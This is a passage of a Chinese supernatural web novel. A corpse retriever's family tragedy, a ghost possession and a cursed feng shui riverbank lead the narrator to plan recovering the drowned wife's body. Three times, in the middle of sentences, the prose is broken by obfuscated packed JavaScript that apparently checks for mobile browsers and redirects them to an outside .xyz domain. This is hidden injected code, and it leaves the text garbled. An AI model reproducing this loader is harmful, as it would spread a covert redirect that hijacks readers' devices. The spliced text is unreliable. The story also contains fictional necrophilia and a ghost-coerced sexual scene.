“当年我姐姐徐莹,经人介绍认识了苟驹,两人没有多久就结婚了,看上去倒是很和睦。” “只不过苟驹平时对捞尸这件事情很淡,三天打鱼,两天晒网,姐姐偶尔抱怨他几句,倒也没什么。” “此后我姐姐怀孕了,苟驹倒是来了劲儿,开始频繁的去捞尸,好,这没什么说的,有孩子了,他知道进取。” “可他却闯了一桩弥天大祸,害死了我姐姐!” 徐湘灵说了一大截,才总算进了正题。 大致是苟驹打捞了一口不能捞的尸身,因为按照捞尸人的规矩来说,有三不捞。 其中之一,三捞失败的尸体不捞。 所谓三捞,就是进水三次,将尸体快要带出水面,或者干脆带离原位,尸体就脱手而出,沉入水底,就算一捞。 正因为当年苟驹四捞一口女尸,导致家中怪事连连。 首先是她姐姐每晚上起夜,都会发现苟驹不在房间里。 开始她哪儿知道,这件事情和女尸有关? 给苟驹打电话打不通,就只能回房间,一个人翻来覆去的睡不着。 苟驹每次都是临快天亮了回床上躺下,问他什么他都不回答,很快就鼾声如雷。 再之后,她姐姐故意半夜不睡觉,果然,等到苟驹半夜苏醒,苟驹溜出房间的时候,她偷偷摸摸的看。 结果苟驹没有离开院子,只是进了对面的柴房。 姐姐跟过去,就直接将柴房门推开了,却瞧见苟驹正在和一口女尸…… 话音至此,徐湘灵默了半晌,才说:“他和女尸,媾和。” “那女尸,就是四捞的女尸,本来是闭着眼,忽然睁眼看着姐姐发笑,一边笑,还一边说,这辈子的女儿,上辈子的情人,再然后,女尸就忽然流淌尸油,腐烂了。” “苟驹清醒过来,被吓得不轻,他自己都不知道,自己怎么会鬼迷心窍和女尸……行苟且之事。” “姐姐帮他用一些偏方驱邪,这件事儿,本来就这么不了了之了。” “可之后姐姐就总做梦,梦到自己的肚子被啃破了,钻出来个阴胎,将她掐死!” “姐姐说,女尸投胎了,不,是女尸夺舍了,夺了她腹中女儿的魂,要借体还魂!” 徐湘灵的话音很重,脸色愈发苍白。 闻言,我都心惊阵阵。 这事儿听起来简单,实际上过于诡异和悚然了。 第144章 河畔柳岸鬼上身 稍稍代入去联想,无论是苟驹清醒过来,发现身下躺着一具腐烂女尸,还是说徐湘灵姐姐徐莹做梦孩子咬破她肚子去掐她脖子,这都是细思极恐。 尤其是,女尸腐烂之前,还说了那么一句,这辈子的女儿,上辈子的情人,这就更恐怖了。 “然后呢?当时没有解决这件事吗?” “还是说,就是这件事情造成的隐患?成了现在这个结果?”我沉声再问徐湘灵。 “如果这么简单,那就好了。”徐湘灵眼中透着一抹悲哀,道:“那段时间姐姐以泪洗面,总觉得肚子里就是个鬼娃娃,是个阴胎,苟驹整天想方设法,去找人来驱邪,两个人都神经质了。” “真要说苟驹为什么捞那个女人上来,这事儿,还和那家人多掏了五万块钱有关,只不过,他们花费出去的,早就超过那个钱数。” “之后吧,苟驹不知道从哪儿领回来个神婆, 说得诛魂,总不能真生个鬼娃娃下来吧?” 徐湘灵抿着唇,说:“就是这个时候,出了大事。” “那神婆布置了很多手段,最后,一张符贴在我姐姐肚子上,那晚上,姐姐又做了个梦,梦见了一个小女孩儿,她一直在哭,脑袋上贴着一张符,哭着哭着,那小女孩儿就融化了,最后,另一个小女孩儿站在她融化的位置,她模样,就和那口女尸一模一样!” “等醒来之后,神婆跑了,苟驹四处去找,压根找不上那神婆,最后才晓得,是那家人算计了他,想着让自家女儿借用我姐姐的肚子投胎。” “因为姐姐是捞尸人,阴气重,鬼投胎,可以减弱阴气,她钻进姐姐腹中,刻意给她托梦,让她以为孩子已经被夺舍,被借体还魂,实际上根本没有。” “那个假神婆用符打跑姐姐腹中原本孩子的魂魄后,她才能如愿以偿。” “苟驹找上那家人,想要讨个说法,对方家大业大,他只是个小小捞尸人,对方砸给他十条大黄鱼,就让他回去好好照顾姐姐生产,到时候来接孩子。” “苟驹没有要那钱,回家了。” “他带姐姐去打胎,医院说月份大了,已经不能打,更不能引产,找小诊所的去,结果大白天的,小诊所的大夫居然鬼上身了,指着苟驹骂他吃干抹尽不认人。” “之后,姐姐吃了给牛堕胎的药。” 说到这里,徐湘灵的眼眶更红,身体更颤抖。 “结果,那药居然都没用了。” “甚至第二天早上,那家人就来了,说自己女儿哭诉着来托梦,说我姐姐和苟驹要害她,又说,她生前没嫁过人,还是个黄花闺女,什么都给苟驹了,是老话说的,上辈子的情人,这辈子的女儿,苟驹干的不是人事儿。” “那家人的确有背景,还带了几个三教九流的人来,将姐姐好生羞辱了一顿,苟驹也被人拳打脚踢,让他们不要再用什么幺蛾子的手段, 否则就杀了他们两口子。” 我没吭声,心头有股说不出的闷堵感。 至此,我能听出来苟驹唯一的问题,就是为了五万块钱,破了捞尸人的规矩,将女尸打捞上岸。 余下的,都是他们被人算计,被人欺辱。 “第三天,姐姐就跳河了,她死了之后,天天都立在水里头飘着,是死而不倒。” “苟驹想去将姐姐打捞上岸,却找不到姐姐尸体。” “再之后,苟驹拿着卜刀,冲去了那家人家里,想要砍死几个人报仇,结果他窝囊,不中用,人没有砍到,又让人羞辱了一顿,甚至打断一条胳膊扔了回来。” “再之后,那家人也搬走了。 ” “苟驹终日买醉,我恨他啊,如果不是他破规矩,怎么会给人可乘之机?明明是他的问题,造成的错误,造成姐姐的死,他解决不了,报不了仇,还整天醉醺醺的,像是个鬼一样! ” “没多久,苟驹甚至还破了捞尸人更多的规矩,组建捞尸队,捞尸人怎么痛恨,他就怎么做,为了敛财,无所不用其极。” 话音至此,徐湘灵又淌了不少眼泪。 我基本上也听出来了。 徐湘灵怨是怨的,说恨,真的痛恨那说不上,更多的只是恨铁不成钢。 更多的是恨姐姐不能瞑目,是恨苟驹不能去报仇。 我心里更堵,更难受,不知道怎么说。 苟驹这经历,居然和我有些相仿? 都是被人害了至亲,凶手还在面前反复横跳? 苟驹更痛苦。 至少,我妈保住了我。 苟驹既没了老婆,又没了孩子,自己还断了胳膊,最后,怕是仇人去哪儿了,都不知道? 而且老婆孩子,更无法入土为安? 半晌天,徐湘灵都没开口,我知道,她是将自己知道的全部都说出来了。 “因此,你姐姐徐莹从来没有回过门,昨晚是第一次,对吧?”我再问。 “苟驹认为是我看花眼了,他不肯相信,他也没有胆量去姐姐殒命之地看看,更不想让你插手帮忙。”徐湘灵微微仰头,似是要止住眼泪。 “苟叔做捞尸队,是为了赚钱请先生,他并非是你想的那样。”我说完这句,又道:“你带我去她跳河的地方看看?” 徐湘灵本来还想说些什么,她不吭声了,默默的朝着一个方向走去。 我跟着她大概走了十几分钟,走到天沧江主流,又往上游走了七八分钟,到了一处岸边,这里长满了桑树,柳树,河岸边生满了水草。 阳光那么大,这里却阴森森的,刮得风更森冷。 嘻嘻的笑声在耳边回荡萦绕。 我心里咯噔一下,才瞧见其中一棵柳树,倾斜的倒向河面,两股柳条扎起来,形成了个秋千,有个小女孩儿正坐在秋千上,不停的荡着。 一边荡,她还一边笑,一边笑,她还一边喊着:“来呀,你来抓我呀?你抓不到我,嘻嘻嘻。” 柳树在河面上啊! 谁把小女孩儿放上去的!? 还有,她是冲着水里在喊话! 她冲水鬼说话!? 我死死盯着那方向,徐湘灵也明显瞧见了,她一副毛骨悚然的模样。 “天啊……是她!” 徐湘灵话音将落,柳条上的女孩儿,居然消失不见。 徐湘灵忽然不说话了,直愣愣的站着不动。 “她?当年那个女尸?”我眉心都拧成了疙瘩。 徐湘灵却忽然扭过头来,她冲着我轻轻吹了口气,明明哭的通红的眼眶,这一刻看上去,竟然有些媚眼如丝? 她的手,一把抓住了我裤腰,凑近我胸膛,吐气如兰。 “小男人,来呀。” 她的语调,和刚才那女孩儿如出一辙! 大白天的,徐湘灵居然被鬼上身了! 第145章 你不就是吗? 此刻绝非正午,不是那阳阴交替的时刻。 此地绝非有阴宅,鬼怎么可能出现? 只不过,徐湘灵切切实实就是被鬼上身了! 她抓住我裤腰的手,分外冰凉,那股冷气直往我裤裆里钻,就像是滑溜进去了一根蛇。 她贴在我身上,那如兰的吐气更靡人。 徐湘灵很好看。 虽然苟驹总是骂她小娘皮,甚至抨击她身材上的一些缺点,但事实上,徐湘灵容貌精致,那柳叶眉,丹凤眼,鹅蛋脸,配上纤纤细腰,健康的小麦肤色,她身上有一股极具的张力,很吸引人。 只不过于我来说,不是想着要回到黄渠村救人,对付陈梁生,现在就是要想着学艺,要防备着锁龙井的凶尸,要防备着蟾山女善人,以及陈瞰山给我的那个提示。 多重的事件落在身上,根本没有任何闲情逸致去想那些不着调的男男女女情事。 因此,徐湘灵是个女人,在我眼中,仅此而已。 可现在,徐湘灵那媚眼如丝的神态,将那股张力更加拉满了。 我身体动弹不得,不是我自己不动,而是被一股莫名的劲道压制了手脚。 徐湘灵的吐息扑打在我脖子上,好痒。 然后,她缓缓将我压倒在地,就那么坐在我身上。 阳光,分外刺眼! 我瞧见徐湘灵的肩头,趴着一个小女孩儿。 她皮肤黑红,双眼黑红,嘴巴更带着乌紫色,脸上一块块的斑,斑是尸斑。 徐湘灵似是在摸索着要解开我和她的衣服。 那女孩儿笑嘻嘻的说:“上辈子的情人,这辈子的女儿,小男人,我便宜你了,她也便宜你了,让她怀个娃娃,我就可以走了呀。” 她说着,手就在动。 她怎么动,徐湘灵就怎么动。 我死死的瞪着她,想要伸手去摸身上的寻龙分金尺,去摸仕金盘,哪怕是拿到铜钱或者龟甲也好! 这里有问题。 就是鬼出现了。 得镇鬼啊! 哗啦一声,紧接着就是水!冰凉刺骨的水泼在我和徐湘灵的身上。 那小女孩儿一声尖叫:“死女人!” 骤然间,她烟消云散。 徐湘灵的动作呆呆停下。 我突然发现自己能动了,惊喜之余,翻身就要坐起来。 结果这一撞,徐湘灵就要往后倒下,我反应过来,赶紧去抓住徐湘灵,却成了搂住她腰肢,她整个人都后仰,被悬在半空,这整个动作,极其旖旎和暧昧。 “啊!” 徐湘灵总算清醒过来了,一声尖叫,双腿一弹,整个人就从我身上下来。 她脸红得仿佛快要滴出血来,随后,她眼中却带着一股难掩的恐惧,扭头看着河边。 “姐……姐姐……” 我猛地一扭头,才瞧见水面上立着个女人,她只有半截身子在外,头发随风飘散,阳光照射在水面上, 让她的身影都一阵发黑,像是曝光严重的相片。 再接着,女人慢慢的沉下水面,消失不见了。 徐莹! 我脑子里冒出两个字来。 “大白天的,这里一直见鬼吗?”我目光回到了徐湘灵身上。 徐湘灵脸颊逐渐发白,她摇摇头,说:“这是第一次,太……恐怖了……” 是,虽然先前鬼上身很旖旎。 可那个小女孩儿的目的,是让徐湘灵要怀孕,然后,又钻进徐湘灵的肚子里? 她说的话,就和徐湘灵告诉我,当时苟驹和徐莹的遭遇一模一样! 只是说,从女尸变成了鬼上身,性质没有区别! “平时,这里什么时候最危险恐怖,体现在哪儿,才让先生们不敢处理?”我一边问徐湘灵,手一边摸出来了仕金盘,余光看着指针,视线更扫着河岸边,扫着河面上。 “夜晚岸边会有个女婴爬来爬去,一旦靠近河边,女婴就会往人肚子里钻。” “不光是女婴,还有个看不见的小鬼,会推人后背,将人推入河中,我姐姐会站在水面哭。” “听见她哭声的人会动弹不得,有个先生差点儿死在这里,因此,之后就没有先生敢真切的管这件事儿了,他们的本事都不够,苟驹找不到厉害的人。” 徐湘灵解释着,脸色变得更惨然。 “女婴变成了女孩儿,她白天都能出来了,她是想摆脱这里,刚才是姐姐救了我们。” “徐莹和小女孩儿正常,看不见的小鬼?” 我极力保持着镇定,朝着河边走去。 “喂……你别过去了……”徐湘灵想伸手来拉我。 可她脸一红,又赶紧缩回去手。 我没有停下,一直走到了河岸旁侧。 风大,柳条用力的摇摆,摇晃。 河面上那个柳枝编成的秋千,还在不停的摇晃着,像是永远不会停下。 风,更大了,一些柳条抽打在脸上,就像是一个女人在用巴掌扇我。 我没动,因为眼前的一幕,让我心寒发冷,后背都被冷汗浸湿。 水面看似是平坦的,可仔细看去,丝毫不平坦,有许许多多尖锐的石块,像是要冲出水面。 水流在那些石块之中穿梭纵横,没有一个方向感,更像是乱流。 我猛然间后退,转身,却差点儿和徐湘灵撞在一起! 她轻呼一声,我一把抓住她手腕,将她往身侧一拽。 同时我语气更重:“让开!” 入目所视,眼前是一个弧形的凸地。 脚下色彩为正常土色,再往前,就变成了黑色。 形成了一个像是元宝底部的弧形,而我和徐湘灵脚踩的位置,是元宝中央,只不过,元宝本身顶部也是圆的,在这而,却成了微微凹陷,两侧平直宛若刀削。 我脸色再变,语气更惊:“十字交穿水不停,尖砂簇簇面前呈,天心破流真堪恶,财败人伤横事频。” “这里的风水,是破天心水,怎么会在这里自杀……怎么能在这里自杀!?” “怪不得,苟叔花了那么多钱,请不来一个先生,风水就注定了这里破财伤人祸事频繁,他就算花金山银山,都请不来人!” “只有不收钱的先生,才有可能帮他解决。” “正常先生,怎么可能不收钱?这是规矩,任何事情,都有一个规矩!” 我话音刚落,徐湘灵就抿着唇,她脸稍显的紧绷,说:“你不就是吗?” 第146章 你就不敢**? 我沉默无言。 是,我的确是。 如果这件事情谈上帮忙,谈上了报酬,那我就不是了。 我先前那番话,更多的只是叹息,只是感慨,为苟驹觉得无奈。 因为摊上这风水,就算是付出一切,都不可能得到什么回报的。 财败人伤横事频,就是苟驹这一生的命数写照。 因为他的老婆,他的孩子,就葬身在这里。 风水凶恶,怨气难平。 因此,苟驹总是遇到水中凶尸,总是遇到水中祸患,人不会一辈子不犯错,马也有失蹄之时,总有一天,苟驹会死。 譬如这一次,若非我介入他和胡家之间的事儿。 先死捞尸队的人,然后就是他! “风水伤人,一块砖,一片瓦,**无形。” “阴宅害人,妻女落葬此地,便影响着苟叔,更影响着亡人在此永不超生,永无安宁之日。” “想要解决麻烦,就得将徐莹打捞上岸,还得将那女孩儿捞上岸。” “女孩儿之所以现在是女孩儿,不再是女婴,因为她是尸生,阴养,从阴胎张大,即便她借体还魂没有成功,但她依旧占据着尸体,那就是苟叔女儿,就得将她一样带出去,再妥当安镇。” “这样一来,亡人安息,活人平息。” 我冲着徐湘灵说完,徐湘灵的脸色,却一会儿青,一会儿白。 “捞尸要在晚上……如果是白天,是捞不了尸体的,晚上……这里太凶了。” 徐湘灵透着一股浓浓不安。 “捞尸队可以白天捞尸。” 我言之凿凿,十分果断。 “白天这里也见鬼啊!还有,捞尸队没有专业的传承,就是一群乌合之众,他们怎么可能打捞上来我姐姐?下无情钩吗?”徐湘灵的脸色带着一丝悲观,惨然,最后无情钩的三个字,明显有些讽刺。 “我还是希望,你对苟叔稍稍有一些尊重,他不是自己非想要办捞尸队的,只是为了多挣一点钱,归根究底,是为了请个好先生,无情钩这种东西我听过,怎么说,毕竟你们捞尸人是比较隐晦的职业,不是哪儿都有,像是其他大城市里,打捞尸体用这种手段更正常吧?” “除非你们这些捞尸人能说解决天底下所有水中尸体,将人打捞上岸,如果做不到,那普通人去做,就算用一些手段,总能让人尸身回到家人身旁,得以安息,这有错吗?” 我沉声和徐湘灵说。 一时间,徐湘灵怔愣住了,一言不发。 我没有继续和她多言,再扭头,看向水面位置。 这处风水,问题最大的,就是水面尖砂。 如果没有那些尖砂,水流的横贯交纵,就是天心水,那这处岸边,就是很好的穴眼。 风水改不了,至少说,这里的改不了,要铲掉水中尖砂才有可能更改局面,那非人力所能及。 因此,就只能捞尸改葬。 其实,这也是徐湘灵这些年的想法,更是苟驹渴望,让妻子安息。 “看不出来更多了,要去水面上,你敢吗?”我扭头看向徐湘灵。 “我……”徐湘灵一个激灵,一时间没回答。 “如果你不敢,我去找苟叔。”我沉声开口。 “你都敢,我怎么会不敢,船在我家旁边,我们走过去。”徐湘灵贝齿紧咬。 “嗯。”我点头。 徐湘灵低头往回快步走去。 我脚步一样飞速,跟上她。 不多时,我们就回到了她最先前停船的位置,两人正要上船,哐当一声响,居然是院门被推开了。 走出来的,竟然是苟驹。 我还以为,苟驹一直在他家的老院子里难受,怎么到徐湘灵家里去了? “我说小陈你去哪儿了,小娘皮也不在,你们两个干啥去了?一个半拉裤子没提好,一个衣衫不整的。” 苟驹这会儿倒是好一些,只是眼眶还有些红,没有消散下去。 徐湘灵脸色一变,她瞟了我一眼,才慌张无比的去整理自己衣服。 我身体同样一僵,才赶紧整理自己裤子。 先前徐湘灵从鬼上身脱离出来,我两都没注意自己形象,我全神贯注的去看风水,徐湘灵一样注意我,接着就是我们回到这里。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478187|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 苟驹不说,我怕是还得好久才反应过来,两人都衣衫不整。 “小陈,我提醒你两句,你不好惹她的,到时候沾上了甩不掉,徐湘灵,我也提醒你两句,小陈不论是身份,还是他个人情况,你都不要动什么心思,我也没看出来,你什么时候。”苟驹还喋喋不休呢。 “我没有!”徐湘灵整理好了衣裳,脸色又红得要滴血。 我苦笑,这才和苟驹说了先前发生的情况。 苟驹的脸色却更为铁青和心惊。 “船,你们别上了。” “不安全。” “徐湘灵,这事情,是老子自己的事儿,她是我婆娘,我会想办法,你不要瞎瘠薄插手。差点儿你们**晓得不?要不是你姐姐泼一盆凉水,好家伙,小陈是牡丹花下了,你到时候怀个鬼胎,你让我怎么给你姐姐交代?” “胡闹!你胡闹,小陈也跟着你胡闹!” “小陈,是你鬼媳妇没跟着,你就乱花渐欲迷人眼?” “简直是添乱!” 苟驹一边骂着,一边上前要拽徐湘灵的手! “姐夫!” 徐湘灵用力一甩手,一跺脚,尖声喊了句。 就这一声,让苟驹懵了。 徐湘灵哭了,她泪眼婆娑,十分煎熬。 “你找不到先生,解决不了问题的,你用尽办法,赚多少钱都没有用,陈先生说过了,是风水!姐姐在那里,她和孩子在那里,你就永远找不到人救他们!是风水出了问题!” “陈先生可以,因为他和你之间的关系,他不和你谈钱,否则,他都来不到这里。” “你信命吗?姐姐以前就和我说过,她很信命,她的命就这样了,如果她和风水,让你的命也就这样,那她就永世不得超生了!” “你忍心?” “陈先生是可以试一试的,他说出来的东西,比你花了几百万请来的先生们说的都强啊!” “他还说了,捞尸队可以帮上忙!” “你就不敢**吗?!” 最后一句话说完,徐湘灵一把抓住我手腕,就拉着我往船上走去! 第147章 女人,女孩,婴儿 我和徐湘灵上了船后,苟驹半晌才回过神来。 他冲着地上啐了一口,似是骂了个操,接着他也上船了。 “嗐,你这妮子,行吧,你就非要往火坑里跳,好吧,小陈,你先和我说,你哪儿来的把握?虽然你本事比我想象的多了一点儿,虽然你现在还能看点面相了,但是你的风水术,肯定还是差了一些,这件事情马虎大意不得。” 苟驹一边和我说着,一边去夺过徐湘灵手中的船桨。 这会儿,他也没有喊什么小娘皮了,显然,徐湘灵喊他姐夫,这彻底改变缓解了两人之间对立的关系。 “放心吧苟叔,现在就是去看,有没有足够的把握,有没有办法,至于其他的,我刚都和你说清楚了,没有什么遗漏的。”我和苟驹解释。 苟驹还是拧着眉头,他没有多说话。 沉默了几秒钟,他开始撑船桨。 徐湘灵抱着腿,坐在船中央。 水路比步行快得多,当我们回到那处破天心水的位置时,阳光还好,夕阳很重,光线依旧十分明亮。 其实我们没有到风水正中心的位置,因为水面下方的尖砂太多,船根本过不去,很容易被戳穿底部。 “这劳什子的地方,正常捞尸人都不敢下去的,一来是麻烦,这水流太乱,伸腿伸手都麻烦,二来是水里有凶,要命就在顷刻旦夕之间。” “哎。”苟驹说着,又直叹气。 徐湘灵没有和苟驹多言,她稍有期待的看着我,却也没开口,是怕打断我思路。 我一直手持着仕金盘,蹙眉,沉着脸。 最好找到尸身的法子,依旧还是转针,罗盘反应最激烈的地方,一定是尸身所在。 船过不去,那就得游过去了。 罗盘虽然可以在水里用,但是这里的水太危险,我敢下死水潭子,一来是初生牛犊不怕虎,二来,之后是粗略了解了那里的凶险。 这个地方,我肯定不能就这样上去。 那我们虽然开船来了,但也等于没来…… 低头,再看船身,我眼中思索更多。 苟驹一样不再开口,是在等我说话。 “船,必须得撑过去,苟叔,我相信你,你要避开尖砂,船底首先得保住了。” “至于闹鬼的问题,我站在这里,这条船上不会闹鬼的,先前徐莹婶子帮了咱一次忙,她多少也会盯着一些。” 我走到了一处位置停下,这里是船的中央点,随后我盘腿坐着。 仕金盘既能分辨方位,又是镇物,只要我在船上,仕金盘在船上,鬼肯定是上不来。 问题就只是在苟驹身上了,他要灵活的操使这条船,在尖砂中游走。 “我来。”徐湘灵再度开口,她眼神格外坚定,要从苟驹手里拿过来船桨。 “你?一边儿待着去。”苟驹往手里淬了口唾沫,两手一撮,再度紧握住船桨。 我意已决,苟驹便不说话,他小心翼翼的撑船往尖砂的水域靠近。 水波变大,便有一处江面荡漾,露出一截尖头。 危险,便在于尖砂不能完全可见,要凭借苟驹的眼神去分辨,至少,尖砂和水面的距离要超过一个船需要的沉水程度,还要考虑波浪让船动荡,不能恰好那个高度,然后船忽然下去一点儿,就被戳破了。 苟驹全神贯注,徐湘灵则趴在船头另一侧,仔仔细细的盯着,她不敢有丝毫懈怠。 换做之前,苟驹反驳她,她是肯定会和苟驹抬杠的。 现在,却少言寡语,不再那么倔强了。 我一个旁观者都看得出来苟驹的认真,她也算是当局者,自然知道,苟驹没有半分懈怠,已经是全力以赴。 不得不说,苟驹的本事很硬,我注意到了水流的方向,刚好是和船相对,是逆流。 是苟驹撑船的时候调整的方位,一旦水流没有相逆,水直冲船身的话,船一定会在水面打转,失去控制。 “娘希匹。”苟驹嘴里骂骂咧咧,说着:“船桨哪儿有我马达好使?早知道整一条老子的船来了。” 徐湘灵本来要开口,一下子又戛然无声。 我只是注意着他们的言行举止,并没有多言,基本上思绪都在仕金盘上。 随着船只在水面穿梭,仕金盘的指针转动速度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484302|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快慢不定。 我会抬手指明方向,示意要往哪儿撑船。 用了大约半小时,总算找到一处位置,转针的转速最快,几乎快从仕金盘表面飞出来了。 这地方距离岸边已经很近,再往前一些,就能触及到柳树枝条。 “苟叔,记住这个点,等明天,我们就要在这里捞尸。” 我沉声开口。 苟驹眼眶红红,应了一嗓子,没说出来别的话。 徐湘灵同样红着眼,似是想哭。 “天要黑了,当初那女鬼先借体还魂,然后徐莹婶子跳江,婶子是成了水尸,那女鬼必然更凶狠,白天多少它们都受制,婶子能插手,晚上就不好说了。” “先回去休息,把人都通知过来,这事儿不能急于一时半会儿,明天再来。” 我沉声同苟驹说。 苟驹继续撑船,我们离开了布满尖砂的水域。 刚出去,我就听到一阵阵怪异的嘻嘻笑声。 本能的扭过头看了一眼。 那柳枝编成的秋千上,居然站着一个女人! 这女人赤条条的,夕阳残光下,显得凹凸有致。 她在笑。 柳枝秋千还在摇摆,那女人却成了个小女孩儿。 嘻嘻的笑声更童真。 我晃了晃头。 小女孩儿不见了。 取而代之的,居然是一个婴儿。 只不过,那婴儿在柳枝秋千上嚎啕大哭,哭声让我脑袋都嗡嗡作响。 不光是我听见看见,苟驹和徐湘灵一样听见看见。 两人都脸色煞白,甚至有些面如金纸。 徐湘灵是怕。 苟驹不光是怕,他脸色青红交加,更显得有几分挣扎和煎熬。 对于苟驹来说,那女鬼的存在不只是恐怖,害人,更恶心人。 三种模样,女人,是她上辈子,婴儿,是她借体还魂之后,小女孩儿,就是她成了阴胎阴鬼然后长大的样子? 女人笑,女孩儿笑,婴儿哭,这正常。 可不知道为什么,我总觉得有些说不出的古怪…… 第148章 找爸爸 只不过,事情就是这个事情,就这样发生在眼前,就这样摆在明面上。徐湘灵不太可能对我有所隐瞒,至少目前看来,没有任何地方超出预计外。 苟驹撑着船桨,船只朝着远处驶去。 直至彻底远离,两人的神态才稍稍恢复了一些。 我同样镇定平复了下来。 心悸和古怪才是常态吧? 毕竟这种程度的事情,我也是第一次办,目前来看,徐莹的凶险程度,不比白姝灵少。 某种程度上来说,这破天心水风水的凶险,要超过黄渠村暴露在明面上的凶险。 至少,锁龙井的凶尸不出来,蟾山女善人不出来。 那这里的危险程度,高过黄渠村不止一两分。 最重要的是在黄渠村中,像是我妈,像是瞿九娘,都是后手,都是帮手,在这儿,就只有孤身奋战了。 苟驹和徐湘灵都是指望我来做事,他们除了捞尸,帮不了我什么。 天黑之前,船回到了徐湘灵家外。 苟驹要回自家院子住。 徐湘灵没有表态说要去,她只是略不自然的看着我,又瞟一眼苟驹。 这态度,分明是想问我,苟驹能不能回去? “苟叔,我看你还是住在这儿吧。”我开了口。 苟驹摇头,说:“住这儿不习惯,回去挺好,再者说,要是徐莹回来了,说不定还能给我捎上两句话。” 我稍一皱眉。 这话倒也没错。 只不过,人死成鬼,难保没有其他想法,其他念头。 尸鬼的内心执念,不能以活人的时候来判断。 比如,我妈当年是想我活下来,现在她是想带我走。 前者是让我活,后者就是让我死! 苟驹回家,好处和弊端掺半,回去的前提,是一旦徐莹出问题,苟驹还能有手段保住自身。 我开门见山,先说了可能性,又说了徐莹凶厉的程度,可能和化血的血煞没有什么两样,总归这种凶局风水下,绝对不会有弱尸。 最后我才说了要求。 苟驹脸色都一阵阴晴不定,才哑声说。 “小陈,你这是埋汰我们夫妻两的关系呢,她害谁都不会害我,否则就不会回门了。” “我以前也这么认为的。”我顿了顿,将我妈的事情简明扼要的说了。 一下子,苟驹戛然无声。 “尸身上岸后,入土为安,苟叔你可以时常祭拜,总比今晚冒险回去强?”我再补充了一句话。 苟驹呼了一声,说:“行,那我先联系手底下的人,让他们全都连夜过来。” “别。” 我这个字语速飞快,更重。 “怎么了?离开那地方,外边儿应该没问题吧?那么大一天沧江呢。”苟驹不自然道。 “天亮吧,天亮了安生一些,不确那么一时半会儿。” 我回答。 此刻,心头那股古怪的感觉更强烈了。 天黑,肯定不安全! “成吧,小陈你之前可没这么谨慎,这会儿谨小慎微的,倒有些像是我以前请的先生们了。” 苟驹挠挠头,笑呵呵说了句。 “不知道你是夸人还是损人。”徐湘灵努了努嘴。 “怎么能是损人呢?你这妮子。”苟驹瞪了徐湘灵一眼。 忽地,他眼神都古怪起来,又说:“倒也不是不行,不过,这事情还复杂的很,你别一时就急着胳膊肘往外拐了。” 我愣了片刻,苟驹这是哪儿跟哪儿呢? 徐湘灵思维就没那么敏捷,一时间没反应过来。 “回去歇着了,昨夜蒸腾老子一宿,湘灵,你整两个菜,家里有酒吧?”苟驹转过身,朝着徐湘灵家院门走去。 “没有酒。”徐湘灵干净利落的三个字,她眉毛都快竖起来了。 我随后跟进了院子。 小院内干净整洁,竹竿子上挂着几道网,一侧的墙上还立着几条窄船,旁侧都有竹竿,而竹竿的尖头上居然还有个钩子,月亮还没有出来,没有月光,钩子却依旧给人一种森冷寒意,像是有冷光折射。 “没有酒,那哪儿能行?”苟驹还在嚷嚷。 徐湘灵说:“我姐姐入土为安了,你想怎么喝怎么喝,当年你是借酒浇愁,现在你是嗜酒成性?酒后误事你不知道吗?” 语罢,徐湘灵钻进了厨房。 我忽然发现,徐湘灵脾气好像也没那么古怪,她只是针对某件事情,对苟驹的意见太大了,事儿一旦弄清楚明白,她就只是比较坚持,比较恨铁不成钢,不知情的人才会觉得,她处处带刺。 苟驹进了堂屋客厅,一屁股坐在沙发上,便翘着二郎腿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484303|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,晃啊晃的。 我跟进去了后,苟驹还瞟了屋外一眼,说:“这妮子,是一点儿都不像话了,以后得给她找个婆家,好好收拾,小陈你晓得不,这女人,三天不打,上房揭瓦,闹批麻了。” 以前苟驹骂人是真骂。 这会儿,他话锋中哪儿是骂,分明是透着关心。 他变相是说,徐湘灵需要找个人家照顾了,而不是这样孤身一人。 笑了笑,我没接话茬。 苟驹则又念叨了几句,才摸出来手机,打电话出去。 “奇了怪了,怎么没信号了?” 用力晃了几下手机,苟驹一脸奇怪。 我摸出来我的手机看一眼,还真是没了信号,直接显示的无服务。 “笃笃笃”的敲门声响了起来。 苟驹抬头看向院门处。 他没动身,我稍一迟疑,也没有动。 有人来找徐湘灵,我们贸然去开门,不太好。 徐湘灵从厨房出来了,她先走到堂屋门前,眼神也带着一丝疑惑。 很显然,她都不清楚是谁来找她。 “不会有人来我家的,如果有人出事需要下水捞人,他们只能找到村长那儿,我每天都会过去一趟,有什么问题都会办。”徐湘灵不自然的说道。 “纠结个啥,开门去看看不晓得了?”苟驹语罢,就站起身来。 他径直朝着院门走去,三步并做两步,很快就到了院门口。 